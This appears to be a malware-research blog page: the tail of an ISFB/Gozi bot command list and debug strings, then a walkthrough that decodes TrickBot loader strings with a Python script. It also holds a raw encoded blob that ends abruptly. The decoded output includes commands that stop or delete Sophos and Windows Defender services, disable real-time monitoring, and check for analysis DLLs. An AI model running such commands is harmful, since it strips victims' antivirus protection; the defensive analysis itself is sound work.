GET_FTP - активировать граббер FTP (при наличии) и отправить, полученные от него, данные

SELF_DELETE - удалить софт из системы, включая все файлы и ключи реестра

URL_BLOCK=URL - заблокировать доступ ко всем URL удовлетворяющим заданной маске
URL_UNBLOCK=URL - разблокировать доступ к URL, удовлетворяющим заданной маске, ранее заблокированным командой URL_BLOCK
FORMS_ON - включить граббер HTTP форм (если есть дефайн _ALWAYS_HTTPS, то граббер HTTPs остаётся включен всегда)
FORMS_OFF - отключить граббер HTTP форм
KEYLOG_ON[= list] - включить кейлог, для заданного списка процессов
KEYLOG_OFF - отключить кейлог
LOAD_INI=URL - загрузить упакованный INI-файл с указанного URL, сохранить его в рееестре и использовать вместо INI-файла,
прикреплённого к софту с помощью билдера. INI-файл должен быть упакован и подписан.

LOAD_REG_DLL = name, URL[,URL] - загрузить DLL по указанному URL, сохранить её под заданным именем и зарегистрировать для
автоматической загрузки после каждого запуска системы
UNREG_DLL = name - удалить из автоматической загрузки DLL c заданным именем

D. ISFB client.dll “RM3” Function and Debug Statements

LdrStartLoaderProcess
[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s
Ldr2LoadIni
[%s:%u] Attached LOADER.INI signature check failed, error %u
[%s:%u] No attached LOADER.INI found
Ldr2LoadFile
[%s:%u] File 0x%X of %u bytes is received over HTTP
[%s:%u] File 0x%X has an invalid signature
[%s:%u] Failed to receive file 0x%X, error %u
LdrIsElevated
[%s:%u] IsElevated = %u, IntegrityLevel = %u
Ldr2GetLoaderModule
[%s:%u] A startup module of %u bytes is received
[%s:%u] Invalid STARTUP module is supplied
[%s:%u] Failed to load a STARTUP module, error %u
Ldr2SaveModulesToRegistry
[%s:%u] Error 0x%X writing value "%S" of key "%S"
[%s:%u] Error 0x%X creating 0x%X hive subkey: "%S"
Ldr2SaveAllModules
[%s:%u] Error %u writing 64-bit modules to the key "%S"
[%s:%u] Error %u writing 32-bit modules to the key "%S"
[%s:%u] Error %u creating hive 0x%X key "%S"
Ldr2MakeRunRecord
[%s:%u] Not enough memory (%u)
Ldr2RegEnumCallback
[%s:%u] Error %u writing autorun value of "%S"
[%s:%u] Error %u writing startup script to the regstry value: "%S\%S"
[%s:%u] Error %u saving all module to key: "%S"
Ldr2MakeEncodedImage
[%s:%u] Invalid PE/PEX module BL.DLL
[%s:%u] BlExecuteDllImage() export is not found
[%s:%u] Invalid PE/PEX module size of BL.DLL
ReplaceSubStr
Ldr2SetupModules
[%s:%u] Integrity level: 0x%x, required elevation
[%s:%u] Elevation failed
[%s:%u] Loading a startup module
[%s:%u] Waiting for %u seconds
[%s:%u] Walking through the registry
[%s:%u] Walking through the registry failed, error %u
[%s:%u] Failed to make a startup script, error %u
[%s:%u] Restarting the loader executable from "%S"
[%s:%u] Successfully restarted
[%s:%u] Failed to restart the loader executable, error %u
Ldr2LoadModules
[%s:%u] An empty page received, exiting the loader
[%s:%u] Error %u(0x%X) downloading module 0x%X of %u
Ldr2DisableIeDialogs
[%s:%u] Error 0x%X writing key value: "%S\%S"
Ldr2LoaderMain
[%s:%u] Staying idle for %u seconds
[%s:%u] Main loop is active, loading modules
[%s:%u] Main loop is ended. %u modules are loaded, status: %u
[%s:%u] The shutdown event fired or an error occured, exiting
[%s:%u] Error %u creating the main loop timer

Let’s Learn: Decoding Latest "TrickBot" Loader String Template & New Tor Plugin Server Communication

Goal: Document presence of the new TrickBot Tor plugin server and deobfuscate the latest TrickBot Loader malware string template.
Trick Loader MD5: 6124c863c08f92732da180d4cf7cbf38 

https://platform.twitter.com/widgets.jsOutline

I. Background
II. New Discovery: Tor Plugin Server in Config
III. TrickBot Loader Deobfuscation Walkthrough
IV. Analysis of Deobfuscated TrickBot Loader
 A. Checks for the presence of the virtual machine processes and  analysis DLLs
 B. Injected process
 C. Imported DLL
 D. Command-line arguments via 
 cmd.exe & PowerShell -DisableRealtimeMonitoring
 E. Checks for processes
 F. Configuration storage
 G. Directory name in %APPDATA%
 H. Oddities
V. Analysis of Latest TrickBot Core Possible Build ‘1041’
 A. Hardcoded Tor Relay List
 B. External IP Resolution
 C. Task Scheduler XML Struct
 D. Bot IP Check for Spam Blocklist

I. Background
While analyzing one of the latest TrickBot samples from the impersonated Danske Bank sender (thanks to @dvk01uk for the sample), I decided to take a deeper dive into TrickBot Loader.
II. New Discovery: Tor Plugin Server in Config
The TrickBot crew recently implemented a plugin server communication via Tor .onion on port:448 to fetch malware modules. 

It is a novel technique for TrickBot; it is likely they are experimenting with the Tor connector in order to improve and/or sustain first-layer module and proxy server resiliency. It is also possible that the Tor connector would be a new norm for the TrickBot crew to not only fetch modules but also for client-server communications similarly as it is performed in the other malware variants such as Gozi ISFB Botnet “4000”.
III. TrickBot Loader Deobfuscation Walkthrough
A. Retrieve the first self-injected unpacked TrickBot payload in memory and dump as an executable and disk.
B. Locate the encoded string template in OllyDBG and set up a hardware breakpoint on access (DWORD), and run until you see the key and template execution.

C. Dump and save the encoded template ‘data’ with its ‘key’;
D. Decode the custom Base64 obfuscated string template (thanks to @sysopfb for the script) by entering the encoded template to ‘data’ and its key to ‘key’; and

import base64

data = 'dUQGvV0XC3hkvV0\x00vKYkvV0IbVyM\x00dUQM9UN0PuhkvV0\x00q/YUqmigCXAIbVyM\x00EWqp\x00dlbWPVFX9BhG2Vo\x00mVSXvnxp\x00d7JpvlfGqHhkvV0\x009nSWPVxWPHhkvV0\x00bVfKPVxMdBhkvV0\x009liGdlihcnYMvt\x00qmigmUy5bHhkvV0\x00oUfgboYMvBhkvV0\x00olQfv3hkvV0\x00bVGHml9Q9VJZcnYMvt\x00oUqHcnYMvt\x00qUSk9KfpCXAIbVyM\x00dUhrPVMIbVyM\x00DxJNYw9N\x00uoxxdUxH\x00opFVxN9iokxdD/GWdnFXvUbpmN9gvnY59lC1DGYdElxHdnxI9NbGdKJgvUhd\x00o7f5b7xW9whQv/o\x00YmbQv7xQ9VG5v1\x00opFVxN9iokxdD/GWdnFXvUbpmNbgdKYSq/01D/NWPVGIbE\x002XJNJobOJpqhcDGiJDwzJOCUJHphCOqXcowyCWtHJOYVEkxOJlp\x002XbNYwEUYOdpcoC0COdzJwolJuSBJXbicooSJXE0TDkSYDApElp\x00bmQ0vVFHbmAIbmQG\x00qny5vUYhAVf5vlYhAVfMquikbui3v7xk2ui3vlYp2ui3vVw1vVQGAVJQdVGpq/GIbui3vVF5bVoQ\x00vUyGCXAIbVyM\x009lYXqmigCXA\x00xSYDY/hSv/xHqmYGoUxXdUG5vKJi\x00xSYDYKfGboSGv/FH2E\x00xSYDYUxpE/JpPmbGEUFIdUFMbxJGdlJgvUhfbt\x00xSYDomxGdKGxdUxHxVFeb/r\x00oUxoqUfEdnGUP/yGbUo\x00Y/yG9nNpP/FITkNkv/GIPmJpdnNpvlAQvnxlT1\x00cny5b0\x00qUygb/hpmUGk\x00f/EGbBxkc1\x009mJGdWCHcnYMvt\x00EpyDuoYVdnFzolYHP/hK\x00uoGwYKf5vxJpdnGIb0\x00EXgdo7f5blfQvuiVP/yGdSyDvliZvlJdoUF0PVFXANJhdlYGvuiEdnFpb/JpP/FIm7JXdBhG2Vo\x00qUSkcnxrbE\x00cUC1vnxpA7Jpvlt1opN/oUxH9nGWbE\x00cUC1vnxpA7Jpvlt1opN/E/YzP/hDbmfUP/JG\x00cUC1vnxpA7Jpvlt1oUF0PVFXAwNS9VFxdVYQ9Vo1oUxH9nGWbE\x00cUC1vnxpA7Jpvlt1oUF0PVFXYVNpqxfGqUFHbVxHoUxH9nGWbE\x00cUC1vnxpA7Jpvlt1oUF0PVFXAwSOoHiibUxI9t\x00cUC1vnxpA7Jpvlt1oUF0PVFXAwSOoHiOvVGGvKE\x00cUC1vnxpA7Jpvlt1dUF0PVFXdliX\x00cUC1vnxpA7Jpvlt1oUhpdBiDbmfUP/JG\x00cUC1vnxpA7Jpvlt1oUF0PVFXAN9Gq3iOvUhpdnFMANJGdKbgqUo\x00cUC1vnxpA7Jpvlt1dl9gmlJGdKbgqUo\x00cUC1vnxpA7Jpvlt1dl9gmlx0bVNpbxaUJt\x00EXgdo7f5blfQvuiVP/yGdSyDvliZvlJdoUF0PVFXANJhdlYGvuiEdnFpb/JpP/FImOwIbmQG\x00EXgdo7f5blfQvuiVP/yGdSyJq/ylqmfGqKGpbmJdE/hpPuSJq/ylqmfGmwSBEoSDbmfUP/JGcnxrbE\x00cUC1dUC1dlY5dBimP/hwb/bGvnE\x00cUC1dUC1bVxMbmYGAN9gvkYGbnxIbt\x00DmJJdwxIbHhG2Vo\x00DxJiopJSPo0IbmQG\x00DxJiopJSPuhG2Vo\x00cUC1dVFlbmfXPVxMvBiDbmEzDmiEdnxnbmfGvnJGABSwPmJQqnyGonxQv7Ygv/xJvUhg9VFHP/hKABYpdKxG\x00opFVxN9iokxdoVFMP/JgbmJdD/GWdnFXvUbpmN9gvnY59lC1YVxnb/hkbmA\x00YVGXq/fMboNI9VGDd7GlqmfG\x00opFVxN9iokxdD/GWdnFXvUbpmN9gvnY59lC1YVxnb/hkbmA1oUxW9mfg97k1EUxI9VxHmwh59VGnP/JQ9VG5vKC\x00YVGXq/fMboh59VGnP/JQ9VG5vKC\x00xUGIYVxnb/hk\x00mwbioE\x00mNfNEoYJYuhzbt\x00DofiDxJGdKbgqUo\x00opN/oUxH9nGWbE\x00oUNUoUxH9nGWbuhG2Vo\x00EoyJvUrIbmQG\x00oUF0PVFXYGCIbmQG\x00EoyX9nCIbmQG\x00EUyGq/rIbmQG\x00opN/E/YzP/hDbmfUP/JGcnxrbE\x00oUNUoUxH9nGWbuhG2Vo\x00EoyJvUrIbmQG\x00cUC1dUC1dlY5dBiDExbDbmfUP/JG\x00cUC1dUC1bVxMbmYGANJixGJGdKbgqUo\x00opFVxN9iokxdD/GWdnFXvUbpmN9gvnY59lC1DGYdElxHdnxI9NbGdKJgvUhdu/SQbUo1YnGMbuiN2VxW9mYgvUr1DlipP/FId0\x00YVx39/9KbmA\x00PUgebUQSblxnbKGePnQeP1\x00'
key = 'tiBOwNV7AfLcCJT8EYuDox/mqbPvd92R1Q3WkGnKZgjeMzI50yHXpSUlrh64aFs+'
std_b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

for s in data.split('\x00'):
s = s.translate(str.maketrans(key,std_b64))
if len(s)%4 != 0:
s += '='*(4 - len(s)%4)
print(base64.b64decode(s))

E. Review the output

b'shell32.dll'
b'ntdll.dll'
b'shlwapi.dll'
b'advapi32.dll'
b'B64'
b'svchost.exe'
b'\\msnet'
b'pstorec.dll'
b'vmcheck.dll'
b'dbghelp.dll'
b'wpespy.dll'
b'api_log.dll'
b'SbieDll.dll'
b'SxIn.dll'
b'dir_watch.dll'
b'Sf2.dll'
b'cmdvrt32.dll'
b'snxhk.dll'
b'MSEDGE'
b'IEUser'
b'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\'
b'ProductName'
b'Evaluation'
b'SOFTWARE\\Microsoft\\Virtual Machine'
b'{3E5FC7F9-9A51-4367-9063-A120244FBEC7}'
b'{6EDD6D74-C007-4E75-B76A-E5740995E24C}'
b'explorer.exe'
b'bloody booty bla de bludy botty bla lhe capitaine bloode!'
b'ole32.dll'
b'wtsapi32'
b'WTSEnumerateSessionsA'
b'WTSFreeMemory'
b'WTSGetActiveConsoleSessionId'
b'WTSQueryUserToken'
b'SeTcbPrivilege'
b'Elevation:Administrator!new:'
b'.log'
b'client_id'
b'%d%d%d.'
b'user32.dll'
b'CLSIDFromString'
b'IIDFromString'
b'C:\\Program Files\\Sophos\\Sophos System Protection\\ssp.exe'
b'cmd.exe'
b'/c net stop SAVService'
b'/c net stop SAVAdminService'
b'/c net stop Sophos AutoUpdate Service'
b'/c net stop SophosDataRecorderService'
b'/c net stop Sophos MCS Agent'
b'/c net stop Sophos MCS Client'
b'/c net stop sophossps'
b'/c net stop Sntp Service'
b'/c net stop Sophos Web Control Service'
b'/c net stop swi_service'
b'/c net stop swi_update_64'
b'C:\\Program Files\\Sophos\\Sophos System Protection\\1.exe'
b'C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe'
b'/c sc stop WinDefend'
b'/c sc delete WinDefend'
b'MsMpEng.exe'
b'MSASCuiL.exe'
b'MSASCui.exe'
b'/c powershell Set-MpPreference -DisableRealtimeMonitoring $true'
b'SOFTWARE\\Policies\\Microsoft\\Windows Defender'
b'DisableAntiSpyware'
b'SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications'
b'DisableNotifications'
b'WinDefend'
b'\\FAQ'
b'\\README.md'
b'MBAMService'
b'SAVService'
b'SavService.exe'
b'ALMon.exe'
b'SophosFS.exe'
b'ALsvc.exe'
b'Clean.exe'
b'SAVAdminService.exe'
b'SavService.exe'
b'ALMon.exe'
b'/c sc stop SAVService'
b'/c sc delete SAVService'
b'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options'
b'Debugger'
b'kjkghuguffykjhkj'

IV. Analysis of Deobfuscated TrickBot Loader
The TrickBot Loader contains various logic targeting and “relaxing” various security measures on the host machine including stopping a plethora of Sophos and Windows Defender anti-virus services. Additionally, TrickBot Loader executes a Powershell script disabling real-time monitoring via “powershell Set-MpPreference -DisableRealtimeMonitoring $true”. Based on the analysis of the Loader, the crew is primarily concerned about Sophos, Windows Defender, and MalwareBytes anti-virus engines. Currently, this Loader installs itself and creates a directory “msnet” in %APPDATA%.
The oddities of the TrickBot loader include ever-present string  ‘bloody booty bla de bludy botty bla lhe capitaine bloode!’ as well as a random ‘kjkghuguffykjhkj’ ones. The TrickBot crew appears to reference the US movie Captain Blood” (“Capitaine Blood” in French), in which “[i]n 1685, Dr. Peter Blood was arrested for assisting a wounded rebel in a revolt against King James II of England…Blood and Levasseur [main nemesis of Blood. -VK] not being able to agree on the attribution of this “booty”, a duel ensues where Blood kills Levasseur, before starting on the way to Jamaica to deposit Arabella and the royal delegate.”
 It is notable that the group consistently improves its loader since its rather crude GetModuleHandle anti-analysis DLL check implementation in late 2017.
A. Checks for the presence of the virtual machine processes and analysis DLL;

b'pstorec.dll'
b'vmcheck.dll'
b'dbghelp.dll'
b'wpespy.dll'
b'api_log.dll'
b'SbieDll.dll'
b'SxIn.dll'
b'dir_watch.dll'
b'Sf2.dll'
b'cmdvrt32.dll'
b'snxhk.dll
B. Injected process;

b'svchost.exe'
C. Imported DLLs;
b'shell32.dll'
b'ntdll.dll'
b'shlwapi.dll'
b'advapi32.dll'
b'ole32.dll'
b'user32.dll'
D. Command-line arguments via cmd.exe;

/c powershell Set-MpPreference -DisableRealtimeMonitoring $true'
b'/c net stop SAVService'
b'/c net stop SAVAdminService'
b'/c net stop Sophos AutoUpdate Service'
b'/c net stop SophosDataRecorderService'
b'/c net stop Sophos MCS Agent'
b'/c net stop Sophos MCS Client'
b'/c net stop sophossps'
b'/c net stop Sntp Service'
b'/c net stop Sophos Web Control Service'
b'/c net stop swi_service'
b'/c net stop swi_update_64'
b'/c sc stop SAVService'
b'/c sc delete SAVService'
E. Checks for processes and services;
b'MBAMService'
b'SAVService'
b'SavService.exe'
b'ALMon.exe'
b'SophosFS.exe'
b'ALsvc.exe'
b'Clean.exe'
b'SAVAdminService.exe'
b'SavService.exe'
b'ALMon.exe'
b'MsMpEng.exe'
b'MSASCuiL.exe'
b'MSASCui.exe'
b'C:\\Program Files\\Sophos\\Sophos System Protection\\1.exe'
b'C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe'
b'C:\\Program Files\\Sophos\\Sophos System Protection\\ssp.exe'

F. Configuration storage;

b'\\FAQ'
b'\\README.md'

G. Directory name in %APPDATA%;

b'\\msnet'

H: Oddities

b'bloody booty bla de bludy botty bla lhe capitaine bloode!'
b'kjkghuguffykjhkj'

II. Update: July 26, 2018: Analysis of Latest TrickBot Core Possible Build ‘1041’
This exact methodology also works to decode the bot core template.

import base64

data = 's27kD6oUsVHWbWAeD645DIT tIf04osR4VdBbyfyM2YWsw 8IsRmldjGTs1myWeD67X427xByYjQ6k BEdWQV8W8276MVdjDy/WDC8rDIfqMw ssHoTUsNsh7UDIw 86sxB280bl8WbCHdDy4j asA3toAATLU14IYk tC88m2seGTW14yfeD2oxM2f1TldjQ6sRbw DC8UDIw14IYk TIoxML45Dy8oGl8WDCH5D67V TIoxModWD2f64T45DIstbIsqsw TIoxModWD2f64Td0Q6XRDIoRMob TE8eTE8easb TIoxModWDyoX4TsvmIs1b6WjDWb TIoxMLoU4Ld0Q6XRDIoRMob TIoxML45Dy8IM2YWtyoX4sb Tx0zsxoBaa7UDIw BEd7bl8rM270bCWTD/HxbyW14/b BEd7bl8tmld5DymTDxd5DyoeGsb B/d4ToBRzh7UDIw B6fsDyW1MV85Q2Y5GyT B6fPbys0mIsdDCHxQ27q4B D6YWzR314IYk T6sxT6sqmVd5mlWL4VHqbyWwmIfe8IoqD+ a275mIW0DIWF4sHWQEseMV878IsRQEd5bl8jbu B6fwGsH54+ 86sxtIs14E8nT6WU T6sx827xbyWWbxW1B2Hksw 86sxT6sqmVd5mlWdDy4j T6sxT6sqmVd5mlWdDy4j T6sxtyoX428t42H/byWxGTW14yfV TysCT6sxsyokm2soGob TysCtEAWDUXWGTsvsw TysCB6Yjb6si4VU TysCBEdWQV8Wa6s78V0V Tys64VdxsIft42Yy B28gmVHxsIfc427BbyW6M2YW46sR tIfjMEswTld5myWk42mWsyokm2sV BEd7bl8l4V83QVHnTIoeQ2x BEd7bl8AQEo/MVdWB6f1mIsvmob BEd7bl8t4V8i4VWBQVd0DB BEd7bl8a42YWQVHWB6f1mIsvm+ B6f1mysemoHxbyW14/HWQEseMV878IsRQEd5bl8jbW8jT6sqmVd5mlWL4VHqbyWwmIfesw BEd7bl8dDVAjbC8i4VU BEd7bl8Pbys0mIs3QVHn BEd7bl8L42HeGVAx BEd7bl8L4VHxbyf7aIoRM+ BEd7bl83QVHn8IoxQB BEd7bl8L4VHxbyf7a6s7 B2YkD6H0mIsADy8dDyWxM2okMV5WT6WU 8CdW4sH54+ tEAWDWAeD6HWbEHTD6XWDu 8Vo/Q2YtM2B BEdWQV8WTldjQ6sRbxoRsVHWbWb 8lswDIWqQV8WsIfc427oG+ tIfjMEswB2HqDEs1moH54ob 86sxsIfc427dDy4jby/0mIWjDu 86sxsVHWbU70D2sV BT82BsAdzR314IYk BEdWQV8WsIfjDI0WDl+RzWH1QVARMIfx TldjQ6sRbRzetysvmob TldjQ6sRbRze8yWebE8V tVskmIWrGV8WsIfVM28WB600bu s6WU4THnQVdTDx//Dl85BCWx4B 86sxt2fUm2YWaIo14IYWBB TVsWbCWB4VdyDEdXQ27q4THjm27x4V3 86sxBEsebys1mo8nbys04LWU T6sxs27nQ27UDIsU8V0q4VAxM2f18yWkmIse s27nQ27UDIsU8V0q4VAxM2f18yWkmIse DlHxbyYWDUL 86sxBEsebys1moAeD6HWbEHd4+ 86sxTEWRmIsXsIWX4ToR8yWk4s85D2T 86sxBEsebys1moAeD6HWbEz 86sxsyseb6WjDUsvsw 86sxsyseb6WjDu T6sx8yWk4sAjM27x4V3 sEd5mIsIM2YW Tys04L45DIT BEdWQV8W8yWk4sb DlHxbyHXbIWV 86sxsIsXbL45DIsNQ2/Wsw BEdWQV8WTldjQ6sRb/b t2f64T45DIsoGob 86sxsIWqMxHjm27x a275mIW0DIWF4THeMV85Q6okT6sqmIWjDUo14oHwM27PDEs1m+ T6YW4V+ 86sx8yWk4Toxmld5QCsx4VHV 86sxt2fUm2YW8yWk4T70D2sV 86sxTE80bC8/bLW14yfV 86sxsIsXboA0mI0V t2f64T45DIsV T6sxBEsebys1mL85bysqmIfeGsb 8Isk4V8W8yWk4sb DlHxbyHwGsb tIfqQ2YIbysW BEdWQV8WtVsx4V0V TysRm2/WsI0e42oU sEd5mIsBbyfq4VHRt2sXDEd7 8lswDIWqQV8WaIo14IYW BEdWQV8W8V4WDC8V 86sx8V05mLHj4IsTMldWQ2B syWemls0DLokDIfq8Vu syWemls0DoAeDE8WQE8oG+ sIseD2W1QV8WTldjQ6sRbw Tys04oAeD6HWbEHH42/jbCU syWemls0DL4e42soG+ tEAWDWAeD6HWbEz BEdWQV8WTysXDE8WsI0e42oU T6sx8V4WDCB BEdWQV8W8IWe42HxDEd7sw T6sx8yWk4Toxmld5QCsx4VHV DlHxbyHXbLL tIf04LY5QCd0bCWA 86sx8yWk4s85D2T 8yW14L7WGl8IM2YWsw 86sxTEWRmIsXa27yDw tIfqM/dWb6f/byHW 8yW14LHkDEHW 86sxtIoRmLsebyfe DlHxbyHwG27V T6sx8yWk4s85D2T 86sxt2fUm2YWaIo14IYWsw tIf04odWb6f/byHW 8CdW4TY5QCd0bCU 8yW14odWb6f/byHWsw 8yW14L45bCHx8yWk4sb 86sx8CskDoA0mI0NQ2/Wsw DlHxbyYWDWb DlHxbyHXbob 86sxB6fXblsx4VdNQ2/Wsw BEdWQV8WsI0e42oU iRfyDEdXQVBfmIsvm+ mEmEiy/74V0x4Vd1Q2Y5br7qD6x M28WDCB1D2T QVA5iyWwiCHh VIWjQ6fwGB s6o1modWDIs0b6T 4yWymlU Q6/Uiysv4B ztu/iqBYiqL/HrvYzR+FNt+wzB zRb1zqTeiqL7zrvYHRQFHPBR NP31ztLviqLEiq3RHtnxHPz NPz1ztQRiqL6HrvYHtn7zP+R HqU1ztQRiqzxiqLEzRnxHPz ztT7iqu7iqL/zavezRLFNt+wzB zqLeiqBEiq3xHhvezqUFNt+wzw NPB1HP+1ztLeiqbwNqUwzPL zhvYzRb1ztQ1zqB/NqUwzPL ztU7iq3xNavezqz1Hq3FHPBR ztu/iq3eiqLEzhvezRbFHPBR NPu1NtU1zqL6iqL7HPn7zP+Y ztu/iqLRiqz7iqL7HRnxHPz ztQeiq3xHevEzhvezPLFHPBR ztbxiqLeHeveztb1HRzFHtT/HtB B6f1mIs1mr/z427CmIuF3+ PBnHru dVzudszuao8TTrZYiqLHrU0jbEBF3rsRdVzWTw iyf1M2f1 M27yDe7UQVB TUsA8L/oiy/U 8Uo8 8Lsr8w tToPaLWN8sYttx4Tsxoa8sYHM2HeDEHj4C8bt2WqbyfRD64x3Lo1mIWXQ2YEQVdWVLsvQ6Y/b6WjDCHbTIoxMlz tToPaLWN8sYttx4Tsxoa8sYBD6Y5Q6WWb/YHM2HeDEHj4C8bs6W14IfEbeAL424WDy8WbWYoGIHkmVH5D67RVoA0mI0R tToPaLWN8sYttx4Tsxoa8sYHM2HeDEHj4C8bs6W14IfEbeAL424WDy8WbWYoGIHkmVH5D67RVoA0mI0R s6W18Isy427U 86YjQyokVrTwNIYQdt+xDouWDlT 3lmjbyX5Dyb bIoxM+ myseiC8vm+ t2fUm2YWTVsWbCU tIs0mysPbyWxM2H0DoHWQE85D6v 827x4VdPbyWxM2H0DoHWQE85D6v a275mIW0DIWF4THeMV85Q6okT6sqmIWjDu sUsaTw T6WCDyoxmVdWtIs14E8n 8THPTosrtLWPBUY9Bu 8THLTxopTPzvH+ bEA0Da7UDCHhDr7RDEdhbe714VB 4I7RQywXza7/Q6swbyfx42Hxiy7Wm+ Qh7hQVdeQ2H/4Ioq427xbyokiyfe4w Q6dkiyohmVHWQVB1DEdC Gys1iCHwQ2/nQVsRiyfe4w 86sxtyoxMV4WTEWRmIsXa27yDw t2fUm2YW3IWR3I7jmrA6Q2Y54+ Q6Y5427xV6WU zt+xzB iEAkQ2W1i6HkM2s1mIWw iE8WGlB iEd0mw i6Ww iEAkQ2W1 MV+1Q277bEdqiy7Wm+ mE8yMVHXG2WwiyHjDB DVWWGl8Wby70DIWwiyHjDB M2H0Dy00GyWwiyHjDB QVA5iyWwM247iyfe4w MVA5Dy4jiyWj MVAWQ60jiy7Wm+ Q60WQ6X5br70D2oFD670mEz1Q6fX bEHWbCB 8PnnBtkS8xLSNRXV8rUnBtkS8xLSNRXrBaUnBtkS8xLSNRXt2aUnBtkS8xLSNRXaBeU 86YjQyokVL//mIL iaxWbexXPBnHru iaxWbwxKB6f1mIs1mr/LMVHwDEH5mIWjDqnu4yfeDa/UQV80NeA1Q2/W9a3WTe3HruxK B6f1mIs1mr/TGVAWNhAXm2YxMVA0bCBj4yfeDa/UQV80NeAhDEs14IoeGtxWbwxKB6f1mIs1mr/z427CmIuF3rsUPBnHru iaxXiaxXByf/Dy80bCUWzP0Q m6W1bE80zoYU4240m2Yx s/8tTVsWbCWsb6sesIfc42v s/8t86sxB2HxMV4WB6f1b6fk4sHWbEH5D67d4+ s/8t8CdW4T/WD2feGB s/8t827/D2seQV8WT6sRb6WjDCHA mE8RQVA5zR3 86sxTldjQxoU4ldWbEz tIf04LY5QCd0bCWV 8V05moAeD6HWbEz TysR4V8omys1m+ B6Yjb6s3Q27UDIT s6o5mL4jbWH5Dymk4TfhMysqm+ T6WCDyokt6dg42HxB27Us6o5m+ bE4qMIfRmr7WGIT Tysk42oR4B 8CdW4Td/4y4Wbu B6f1mldjD+ TE80bCB tIf04rAxDeAH3I40M2YW4+ TCs13LBu4yo5DIsU tIf04rAxDeAB3I40M2YW4+ 8yW14rAB3I40M2YW4+ BEdWQV8W3o5B3I40M2YW4+ t2fUm2YW3I00beA0DldWQ2873IdW42vuDIf04IsU bIoe427x4yWk4Vz MV+ M2B bIseM2fU 4yWk4B Q6f14u QVdC Q6f1mldjD+ DysW4IW14yZ QVsxD6HjDC8eD6w QVsxD6HjDyQ bldjQ6sRb670D2T bEWR G2sR QVsxDEHxQVdx 9I/j4lsk42HjDy454Rvg9rfXD68/DIsqD67yM2bO dVzWbw dVzWb/fqD67yM2mRV+ t2fUm2YWb/w aIs0bodWB2YkD6z aIs0bL4e42T 86sxTldjQ6sRbx0WQV+ aIs0bLokDIfq M6seDyskzR314IYk zrvwiq+1z+ TLfts+ 8xsT sVdk8VHqQVAWsw b60km6owMB BUHeGVAx8IsRmldjGTXWGB BUHeGVAxB6Yjb6sADImjbyWxMI/Bbyf6M28Wbu BUHeGVAxsyseM247T6WCDyoxmVdW BUHeGVAx86sxTldjbIsemlU BUHeGVAxa2/wDEdxa6s7TIo5bu BUHeGVAxtEAWDUok46feMV8nDsAeDE454Ise tUHeGVAx8CdW4TfhMysqm+ tUHeGVAx8Isk4V8Wa6s7 tUHeGVAxa2/wDEdxa6s7 tUHeGVAxtEAWDWHxDEd046sBbyf6M28Wbu ByHeGVAxiy8kD+ tyHeGVAxiy8kD+ dVzudVzuT/+W4+ GPu6 GPQx s27cDyfEDu s6W14IfEbe+ezP+w s6W14IfEbeAQT+ s6W14IfEbeAt4Vd64V3uzq+wzw s6W14IfEbeA2MVHxQB s6W14IfEbeAt4Vd64V3uzq+wN+ s6W14IfEbe+E s6W14IfEbeAt4Vd64V3uzq+wNrAazu s6W14IfEbe+v s6W14IfEbeAt4Vd64V3uzq+Yzu s6W14IfEbe+viqL s6W14IfEbeAt4Vd64V3uzq+YzhAazu s6W14IfEbe+Yz+ s6W14IfEbe+YzrAt4Vd64V3 t2fFM2YkQaZ/iq+uKom5Dy8jmEzutWBuzt+1zPkus6W1HqBS3lu6HrUuBVAwDIsV42diMVBjHtzEiqz63r0iao8HtrwuDIWc4aAl42HcDeUuB60eD6/WiRQwiq+1zRLYzhvYztzuT6oyQVd5iRTRHevRHu blHemu bIY/46W1bw 4V0wMV3 b6semyHjDyQ d2BW4rsUiu t2fUm2YW3Iokbys04lUum27kD6oU42B B6f1mldjDrAyQ2Wk42B t2fUm2YW3lm0beA/DyYjQ28W4+ TldjQ6sRbeAnQVzuQysWDhAyM275b60W4+ bysk42oR4B TE80bCBu4yo5DIsU TldjQ6sRbeAEQVzum27kD6oU42B 86sxTIoe427xa27yDeAWbCdjbu s270QyYW3l8j3IYjQ2BuD2fUm2YW3I4eD6xub6semyse bE80bCB 8IsqD68W3I4eD6xuBUot8tQx3Isebyfe s6W1zR3u4VdeDE3 a276Q2Y54rAwQVd0DVzuQ6f/DCB tyZubIoeQ2/R M27yDw 4IoxQB dVzjdVzjHqBjdVzjdVzjdVzj Dyf1Q2/W dVzjdVzjHqzjdVzjdVzjdVzjdVzj iesRiesRiR3/iesRiw iesRiesRiR3RiesUiw iesRiesRiRLxiesRiesRiR+j iesRiesRiRLwiesRiesRiesUiw iesRiesRiRTjdVzj iesRiesRiRLjdVzj iesRiesRiR+jdVzjdVzjdVzjdVzjdVzj bEd6 QE8k DyoX4B D2fUm2YW tVHtGVHx42/VQV8qMIse dVz1dVz1dVz1dVz dVz1dVz dsUXd2xXd28TdTuFdTxFdsz 9rfsb6sea2BO 9osR4Vdd4Pv 9LYj46f1slWw4t7dDC8WbyoqmIW64s8jM6s19rfzD6mjDW87bITOrqYam27z4V4WDP7z42oRmoAeMV45DIsC4twjTCs1tIs642wO 9od/DUYWmysk9U05460WbE8Amyo5DIohDITZi/d/DUYWmysk9unZ8EdjmVAd4P7NsrAAss83t/ddsoWbT/WtsLsH9rflbyf/bLWU9unZtIfCD67TGVAW9UW1mIseQ2HxMV4WsIfc42vZixYj46f1slWw4tvK 9rfrD6fxsld546mWbqvK 9LdjDE8TbyWC46se9unZ8270QyYW4P7xbCsW9rfoDyohDIsU9un 9rfPD6/XQ27U9unZixsv42zOrqwjB2HxM2f1bRvK9rfTQVHc9un 